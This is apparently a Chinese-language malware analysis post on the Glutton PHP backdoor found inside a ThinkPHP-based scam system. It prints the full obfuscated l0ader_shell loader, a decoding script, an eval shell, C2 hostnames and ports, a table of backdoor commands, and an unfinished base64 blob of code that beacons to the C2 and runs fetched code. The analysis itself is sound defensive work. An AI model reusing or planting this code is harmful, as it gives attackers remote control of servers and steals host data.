The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃：Glutton木马潜伏主流PHP框架，隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识，从我们的数据来看，受害者主要分布在中美俩地，涉及信息传输，商务服务，社会保障等行业。

​image​

在我们的溯源过程中，还发现了一个有意思的现象，Glutton的作者专门针对黑灰产的生产系统投毒，意图进行黑吃黑。时间回到2024年7月，我们以"b11st=0;"特征在VirusTotal进行狩猎，先后发现了5个被感染的文件，由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1，2，3是单个PHP文件；编号4，5为压缩包，包含一套完整的业务系统。它们之中最特别的是编号4，它是一套网络诈骗常用的刷单抢单系统，恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符，然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密：

我们追踪一下$check​函数：

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空，则 $check​ 取其值；否则取 $config['url_route_on']​，相当于控制 Webshell 执行流程的一个开关，最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑：

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内（当前时间小于文件时间戳），并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过，则代码将提前返回；如果时间戳检查通过，则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务，每 60 秒循环一次，实现持久化控制。

​$go​函数：

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv​

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调：

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

‍

所以我们关键就是解码 $sl​ 数组，以获得 $f​ 内容。

按照逻辑编写PHP解密脚本：

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

​image​

后面还有base64，解密一下：

​image​

一个shell：

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

​image​

​image​

此外：

​image​

应该是 Linux 系统中内核工作线程（Kernel Worker Thread）的一个标识

webshell最后是其保护机制：

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0，防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名，我们进行反查样本，发现Glutton webshell的client_task​模块

​image​

​image​

​image​

和我们之前PHP解密内容相符

其中，client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

​client_v1​类继承client_socket​，通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

​image​

通过控制$cmd​来执行操作，如获取文件夹名称、获取当前文件列表、创建文件夹等，我们可以批量查找$cmd==​来确定其功能，注意if else循环

这个php后门支持22个不同的指令，以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本，我们可以分析其主动向服务器发送的信息：

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name​

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KICAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSlyZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLi